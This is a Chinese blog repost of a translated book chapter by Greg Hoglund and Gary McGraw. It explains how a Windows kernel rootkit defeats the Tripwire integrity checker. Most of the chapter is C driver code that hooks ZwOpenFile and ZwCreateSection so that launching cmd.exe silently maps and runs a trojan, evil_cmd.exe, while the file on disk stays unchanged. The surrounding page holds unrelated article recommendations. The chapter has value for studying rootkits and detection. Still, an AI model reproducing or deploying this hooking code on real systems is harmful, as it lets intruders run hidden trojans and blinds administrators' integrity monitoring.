特洛伊执行体重定向

执行体进程--EPROCESS 执行体层位于内核层之上,它侧重于提供各种管理策略,同时为上层应用层程序提供基本的功能接口。 // Process structure. // // If you remove a field from this structure, please also // remove the reference to it from within the kernel debugger // (nt\p 阅读详情
 作者:Greg Hoglund, Gary McGraw
翻译:Rhett
//--------------------------------------------------------------

  一旦入侵者拿到系统的root权限,所有监视和审核系统的效能都会大打折扣,甚至是在硬件层面的数据审核和加密校验措施也能被挫败。唯一例外的是被隔离存放的审核和校验系统所在的硬件设备。这个当然是废话。最邻近的系统会被隔离,管理员拿出硬盘在另外的系统上运行完整性检查程序。实际上,这是使用Tripwire安全程序的唯一方法。(Tripwire是流行的,但却有着致命缺陷的完整性检查程序)

  执行体重定向和Tripwire的问题

  这章我们演示的系统调用hook能在系统下隐藏一些事实。当你替换一个文件或者在原来的地方去执行一个木马文件时会发生什么。系统调用钩子能改变系统调用的逻辑并提供一些附加功能,后门,甚至改变请求的目标。拿Tripwire这样普遍的监视后门木马的程序来说。Tripwire程序读取系统每个文件的内容并根据内容数据生成一个加密hash。当文件内容被改变时会生成新的hash值。这就是说当下次管理员用Tripwire进行检查时会发现新的hash值。理论上这是个好方法,但实际上是根本没用的。

  让我们来看看当黑客在目标系统上安装了内核级rootkit后会发生些什么。这个例子将说明黒客如何用木马文件替换原始版本的文件。黒客会挫败Tripwire以使安全管理员不能检测到后门的存在。演示说明用的系统是windows 2000。简单起见,假设入侵者发现了一个借助php脚本,在windows 2000 web 服务器远程执行代码的漏洞。入侵者的首要任务是利用此漏洞在系统上安装一个可执行文件。入侵者编译了一个window2000下的驱动,驱动hook掉了下面两个系统调用:

 ZwOpenFile

 ZwCreateSection

  安装驱动来hook这两个系统调用,并且在启动的时候打开木马文件,拿到木马文件句柄。在我们的例子里,我们将把命令解释程序cmd.exe替换为我们的木马文件evil_cmd.exe。当一个应用程序或管理员自己加载cmd.exe的时候,我们的evil_cmd.exe将能把它替换掉。不幸的是,使用Tripwire并不能发觉到替换的动作。

  在编译和测试完毕后,将驱动文件和evil_cmd.exe传送到目标系统上,然后把驱动用一般的方法加载到内存中。

  实现重定向的驱动:

实现重定向的驱动用感染程序执行机制(不是程序本身)的方式使得Tripwire失效。驱动并不替换原来的文件。像Tripwire这样的程序将始终是看到正确的数据,因为确实是在打开正确,没修改的文件。我们对ZwOpenFile的hook检查每个打开的文件,并简单的跟踪文件句柄。当驱动发现有对目标文件的请求时,则更改要使用的文件句柄。驱动这时把原来的文件句柄用木马文件的句柄进行替换。这样只影响新进程的创建但并不会影响磁盘上的文件。Tripwire在这时候显得及其蠢笨。

 NTSTATUS NewZwOpenFile(
    PHANDLE phFile,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK pIoStatusBlock,
    ULONG ShareMode,
    ULONG OpenMode
)
{
        int rc;
        CHAR aProcessName[PROCNAMELEN];

        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwOpenFile() from %s/n", aProcessName);

        DumpObjectAttributes(ObjectAttributes);

        rc=((ZWOPENFILE)(OldZwOpenFile)) (
                        phFile,
                        DesiredAccess,
                        ObjectAttributes,
                        pIoStatusBlock,
                        ShareMode,
                        OpenMode);
        if(*phFile)
        {
            DbgPrint("rootkit: file handle is 0x%X/n", *phFile);
            /* ___________________________________________________
             . TESTING ONLY
             . If name starts w/ cmd.exe lets redirect to a Trojan
             . ___________________________________________________ */
            if( !wcsncmp(
                        ObjectAttributes->ObjectName->Buffer,
                        L"//??//C://WINNT//SYSTEM32//cmd.exe",
                        29))
            {
                WatchProcessHandle(*phFile);
            }
        }

        DbgPrint("rootkit: ZwOpenFile : rc = %x/n", rc);
        return rc;
}

  对ZwOpenFile的hook可以通过检查打开文件的文件名判断是不是我们感兴趣的文件。如果是的话,把文件句柄保存下来以后使用。我们自定义的hook函数只是简单的调用原始的ZwOpenFile函数,并使执行继续。

   如果是试图用文件句柄创建进程的话,我们的代码将重定向到我们的木马文件。在进程创建之前,先要分配一个块的内存。一个块的内存类似于NT内核的内存映射文件。创建内存块时要用到文件句柄。建立起内存和文件的映射,然后可以调用 ZwCreateProcess 了。我们的驱动监视所有用目标文件句柄对内存块的创建。如果是目标文件被映射,这就是说将要被执行了。这正是我们替换文件句柄的时候。从而使得我们的木马文件被映射,而不是原来的文件。这样做效果非常好。我们对ZwCreateSection 进行如下的替换:

 NTSTATUS NewZwCreateSection (
          OUT PHANDLE phSection,
          IN ACCESS_MASK DesiredAccess,
          IN POBJECT_ATTRIBUTES ObjectAttributes,
          IN PLARGE_INTEGER MaximumSize OPTIONAL,
          IN ULONG SectionPageProtection,
          IN ULONG AllocationAttributes,
          IN HANDLE hFile OPTIONAL
          )
{
                    int rc;
                    CHAR aProcessName[PROCNAMELEN];

                    GetProcessName( aProcessName );
                    DbgPrint("rootkit: NewZwCreateSection() from %s/n", aProcessName);

                    DumpObjectAttributes(ObjectAttributes);

                    if(AllocationAttributes & SEC_FILE)
                             DbgPrint("AllocationAttributes & SEC_FILE/n");
                    if(AllocationAttributes & SEC_IMAGE)
                             DbgPrint("AllocationAttributes & SEC_IMAGE/n");

                    if(AllocationAttributes & SEC_RESERVE)
                             DbgPrint("AllocationAttributes & SEC_RESERVE/n");
                    if(AllocationAttributes & SEC_COMMIT)
                             DbgPrint("AllocationAttributes & SEC_COMMIT/n");
                    if(AllocationAttributes & SEC_NOCACHE)
                             DbgPrint("AllocationAttributes & SEC_NOCACHE/n");

        DbgPrint("ZwCreateSection hFile == 0x%X/n", hFile);
#if 1
        if(hFile)
        {
            HANDLE newFileH = CheckForRedirectedFile( hFile );
            if(newFileH){
                hFile = newFileH;
            }
        }
#endif
                    rc=((ZWCREATESECTION)(OldZwCreateSection)) (
                         phSection,
                         DesiredAccess,
                         ObjectAttributes,
                         MaximumSize,
                         SectionPageProtection,
                         AllocationAttributes,
                         hFile);
                    if(phSection)
                    {
                             DbgPrint("section handle 0x%X/n", *phSection);
                    }
        DbgPrint("rootkit: ZwCreateSection : rc = %x/n", rc);
        return rc;
}
  木马文件可以用下面的代码映射到内存。以下是上面代码的支持函数。注,这里木马文件是放在C盘根目录下。

HANDLE gFileHandle = 0;
HANDLE gSectionHandle = 0;
HANDLE gRedirectSectionHandle = 0;
HANDLE gRedirectFileHandle = 0;

void WatchProcessHandle( HANDLE theFileH )
{
    NTSTATUS rc;
    HANDLE hProcessCreated, hProcessOpened, hFile, hSection;
    OBJECT_ATTRIBUTES ObjectAttr;
    UNICODE_STRING ProcessName;
    UNICODE_STRING SectionName;
    UNICODE_STRING FileName;
    LARGE_INTEGER MaxSize;
    ULONG SectionSize=8192;

    IO_STATUS_BLOCK ioStatusBlock;
    ULONG allocsize = 0;

    DbgPrint("rootkit: Loading Trojan File Image/n");

    /* first open file w/ NtCreateFile
     . this works for a Win32 image.
     . calc.exe is just for testing.
     */

    RtlInitUnicodeString(&FileName, L"//??//C://evil_cmd.exe");
    InitializeObjectAttributes( &ObjectAttr,
                                &FileName,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL);

    rc = ZwCreateFile(
             &hFile,
             GENERIC_READ | GENERIC_EXECUTE,
             &ObjectAttr,
             &ioStatusBlock,
             &allocsize,
             FILE_ATTRIBUTE_NORMAL,
             FILE_SHARE_READ,
             FILE_OPEN,
             0,
             NULL,
             0);
    if (rc!=STATUS_SUCCESS) {
             DbgPrint("Unable to open file, rc=%x/n", rc);
             return 0;
    }
    SetTrojanRedirectFile( hFile );
    gFileHandle = theFileH;
}

HANDLE CheckForRedirectedFile( HANDLE hFile )
{
    if(hFile == gFileHandle)
    {
             DbgPrint("rootkit: Found redirected filehandle - from %x to %x/n", hFile,

 gRedirectFileHandle);
             return gRedirectFileHandle;
    }
    return NULL;
}
void SetTrojanRedirectFile( HANDLE hFile )
{
    gRedirectFileHandle = hFile;
}

 
激光三角测量法:斜射与直射式技术的原理与应用解析 本文深入解析激光三角测量法中斜射式与直射式技术的原理、应用及对比。斜射式适用于高精度小范围测量,尤其擅长处理反光表面;直射式则适合大范围位移检测,结构更简单。文章详细介绍了两种技术的光路分析、数学建模、应用场景及选型建议,并探讨了系统校准与误差分析方法,为工业检测领域提供实用参考。 阅读详情

相关推荐

Win10更新后黑屏只剩鼠标?火绒误杀explorer.exe的5种自救方案(附详细步骤)

本文详细介绍了Win10更新后出现黑屏只剩鼠标的5种专业修复方案,重点解决火绒误杀explorer.exe的问题。从基础的任务管理器操作到安全模式下的系统修复,再到注册表编辑和系统还原,提供了全面的解决方案,帮助用户快速恢复系统正常运行。

weixin_29306571的博客 640

执行体的重定向

题目:特洛伊执行体重定向作者:Greg Hoglund, Gary McGraw翻译:Rhett//--------------------------------------------------------------一旦入侵者拿到系统的root权限,所有监视和审核系统的效能都会大打折扣,甚至是在硬件层面的数据审核和加密校验措施也能被挫败。唯一例外的是被隔离存放的审核和校验系统所在的硬件设备

1839

Verilog实战:手把手教你实现四路组相联Cache(附完整代码解析)

本文提供了一份详细的Verilog实战指南,手把手教你实现一个四路组相联Cache。内容涵盖从设计规格、核心存储阵列、LRU替换策略到状态机设计的完整流程,并附有代码解析与优化技巧,旨在帮助硬件设计者掌握Cache控制器的RTL实现与调试方法。

pp12345的博客 518

(转)深入理解section之ZwCreateSection

http://hi.baidu.com/charme000/item/23945ecdb49926d2964452a1 原型: NTSTATUS ZwCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTR...

weixin_30838873的博客 773

文献阅读:SAR像素偏移的性能改进An Improvement of the Performance of SAR Offset Tracking Approach

像素偏移追踪POT文献阅读

weixin_56301271的博客 342

LLC同步整流实战:从驱动时序到调试仿真,效率提升与避坑指南

同步整流技术是提升开关电源效率的关键手段,尤其在LLC谐振变换器中,通过低导通电阻MOSFET替代二极管可显著降低副边整流损耗。然而,驱动时序、电流过零检测及轻载模式切换是工程实践中的核心难点。从Vds检测原理到死区调节,再到仿真与实测验证,工程师需掌握完整的调试方法论。该技术广泛应用于通信电源、服务器电源及车载DC/DC,合理设计LLC同步整流方案能实现满载效率提升约1.8个百分点,同时优化热分布。本文以600W半桥LLC样机为线索,深入分析工作模态、驱动芯片选型、波形判断与仿真模型搭建,为电源设计提供可

weixin_29165465的博客 300

zwcreatesection 共享内存区(Section)

zwcreatection创建一个section_object,section_object代表一块能够共享的内存对象。一个进程能够用section_object 来与其他进程共享它的内存空间。section_object 提供进程映射文件到其内存空间的机制。

wowbell的专栏 4840

用逻辑分析仪实测EM4095:125kHz RFID耳标解码的电压与脉宽玄学

本文通过逻辑分析仪实测EM4095芯片,深入解析125kHz RFID耳标解码中的电压与脉宽关联现象。揭示了供电电压对曼彻斯特编码脉宽的影响规律,并提供了一套可落地的调试方法论,包括信号链路解析、逻辑分析仪配置技巧及系统级稳定性提升方案,帮助开发者解决解码不稳定问题。

weixin_30629653的博客 330

KMD驱动教程续-8

 Kmdtut 8---共享Section通讯                                       共享Section通讯董岩译8.1 结构化异常处理8.1.1 seh驱动程序源代码8.1.2 建立 SEH-frame8.1.3 异常处理8.1.4 卸载SEH-frame8.1.5 使用宏来建立/卸载SEH-frame8.2 共享Section通讯8

guokeno1--JEFF的技术博客 1523

【47】软考软件设计师——全真模拟卷(下午题)|5道案例分析+答题模板+评分标准

本文是《软件设计师·50讲通关|从零基础到工程师职称》专栏第47篇,属于**模块六:冲刺与模拟**第四篇,严格遵循软考下午题真题规范(5道案例分析题,150分钟,满分75分,45分及格),覆盖数据流图(DFD)、E-R图与关系模式、UML类图与用例图、算法设计与代码填空、设计模式应用五大核心题型。全文采用“真题级案例+分步答题模板+采分点明细+评分标准”的形式,每道题配套“审题技巧→解题步骤→规范作答模板→常见错误扣分点”,深度拆解案例分析题的得分逻辑,帮助考生掌握“按点踩分、规范表述、避坑扣分”的核心能力

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 688

生成模型实战 | ProGAN详解与实现

Progressive GAN (ProGAN) 是一种通过渐进式增长网络结构来生成高分辨率、高保真图像的技术。传统 GAN 难以直接生成超过 256x256 分辨率的图像,而 ProGAN 创新性地从低分辨率开始训练生成器和判别器,逐步添加网络层以提高分辨率,直至达到1024x1024。该方法结合了像素归一化、小批次统计信息和均衡化学习率等关键技术,并使用 WGAN-GP 损失函数确保训练稳定性。ProGAN 是首个能生成1024x1024高保真人脸图像的模型,但其训练耗时较长,且对计算资源要求较高。

盼小辉丶的博客 1435

[特殊字符]️ MusePublic开源价值:safetensors格式安全性优势与社区共建路径

本文介绍了MusePublic艺术创作引擎的开源价值,重点分析了其采用safetensors格式带来的安全与效率优势,并阐述了社区共建路径。用户可在星图GPU平台上自动化部署该镜像,快速搭建AI艺术创作环境,轻松应用于生成具有故事感的艺术时尚人像图片等场景。

MorganiteEagle55的博客 799

网神 SecGate 3600 防火墙 app_av_import_save文件上传漏洞(含批量验证poc)

网神 SecGate 3600 防火墙 app_av_import_save文件上传漏洞(含批量验证poc)

weixin_43567873的博客 298

Window内核函数 - 文件的打开

Window内核函数 - 文件的打开

wendyWJGU的博客 767

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

进程创建监控

上次讲了下进程保护原理,这次讲一下进程监控。监视进程创建,也就是监视EXE程序启动,就要hook掉创建进程的API,创建进程的API有ntdll!ZwCreateProcessEx、ZwCreateSection、ZwCreateThread等,kernel32里有CreateProcessA(W)和CreateProcessInternalA(W),hook ZW函数比较麻烦,因为那时进...

zzmzzff的博客 863

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

ZwOpenFile [WDK翻译]

ZwOpenFile 提供了一个句柄,通过它可以操作一个文件的数据或者是文件状态,或是文件的属性。ZwOpenFile 提供了ZwCreateFile的一个功能子集(ZwCreateFile能做更多事).

死胖子的博客 1900

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

磁盘文件操作_ZwCreateFile_ZwOpenFile_ZwReadFile_ZwWriteFile_ZwSetInformationFile_ZwQueryInformationFile

#include"ntddk.h" VOID xiezai1(PDRIVER_OBJECT qudongduixiang) { KdPrint(("驱动卸载 历程\n")); return; } NTSTATUS DriverEntry(PDRIVER_OBJECT qudongduixiang, PUNICODE_STRING zhucebiao1) { HANDLE wenjianju

3301

Windows驱动开发之文件操作

内核态文件操作 内核态字符串操作 内核态动态内存申请/释放

enjoy5512的博客 7312

驱动内存映射文件

驱动内存映射文件,一切尽在代码中,各位老爷请看:       // 内存映射文件,返回基址 // 用完记得ZwUnmapViewOfSection(ZwCurrentProcess(), BaseAddress); PVOID CreateMapFileAndGetBaseAddr(PUNICODE_STRING FilePath, PSIZE_T Size) { #define SE...

liwen930723的专栏 1417

windows驱动学习笔记

零零散散花了一个月的时间初步学习了windows驱动编程,接着开始要制定2013年的学习计划,即将步入另外一个学习战场,于是就将最近学习记录下来,也好将来再返回学习时有点基础。 一、windows驱动安装 1、到官方下载DDK安装,ex : 3790.1830.DDK 2、目录简介        示例代码: 安装目录/src/general/event/sys       编译:buil

Always look out for number one. 4567

内核模式下的文件操作

A、文件的创建 B、文件的打开 C、获取和修改文件属性 D、写文件和读文件   一、文件的创建 InitializeObjectAttributes 初始化  POBJECT_ATTRIBUTES 结构 ZwCreateFile 二、文件的打开    ZwCreateFile,ZwOpenFile 三、获取和修改文件属性     ZwQueryInformationFile,...

crkres9527 587

tiechui_lesson05_内核小文件拷贝

主要学习在内核中的文件操作,包括文件的打开,创建,读取,写入,查询文件属性等。

简单的笔记本 665

windbg 查看结构体_windbg跟踪ZwOpenFile获取打开的文件名

跟踪ZwOpenFile的笔记,确定参数的传递方式是按照从右到左的方式入栈,和c的调用方式一样。下断点ZwOpenFile中断后的堆栈如下:nt!ZwOpenFilent!MmLoadSystemImage+0x266nt!IopLoadDriver+0x370nt!PipCallDriverAddDeviceQueryRoutine+0x235nt!RtlpCallQueryRegistryRo...

weixin_34792402的博客 334

windows内核开发学习笔记二十八:内核的关键组件之执行体(Executive)

执行体是内核模块的上层部分,在大的方面看,执行体包含以下组件: 进程和线程管理器,负责创建进程和线程,以及终止进程和线程。对于进程和线程的底层支持是在内核层中提供的,执行体在内核层的基础上又添加了一些语义和功能。 内存管理器。此组件提供了虚拟内存功能,既负责系统地址空间的内存管理,又为每个进程提供了一个私有的地址空间,并且也支持进程间的内存共享。 安全引用监视器,该组件强制在本地计算机上实施安全策略,守护操作系统的资源,执行对象的保护和审计。 I/O管理器。实现与设备无关的输入和输出功能,负责将I/

jyl_sh的专栏 1442

内核模式下的文件操作_zwcreatefile_zwopenfile_zwreadfile_zwwritefile

1.文件的创建 对文件的创建或者打开都是通过内核函数ZwCreateFile实现的。和Windows API类似,这个内核函数返回一个文件句柄,文件的所有操作都是依靠这个句柄进行操作的。在文件操作完毕后,要关闭这个文件句柄。 NTSTATUS     ZwCreateFile(     OUT PHANDLE  FileHandle,     IN ACCESS_MASK  DesiredAc...

2606
上一篇: 把PE映像文件从内存中DUMP到磁盘
下一篇: 防火墙普遍存在的设计缺陷--关于进程路径的获取
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值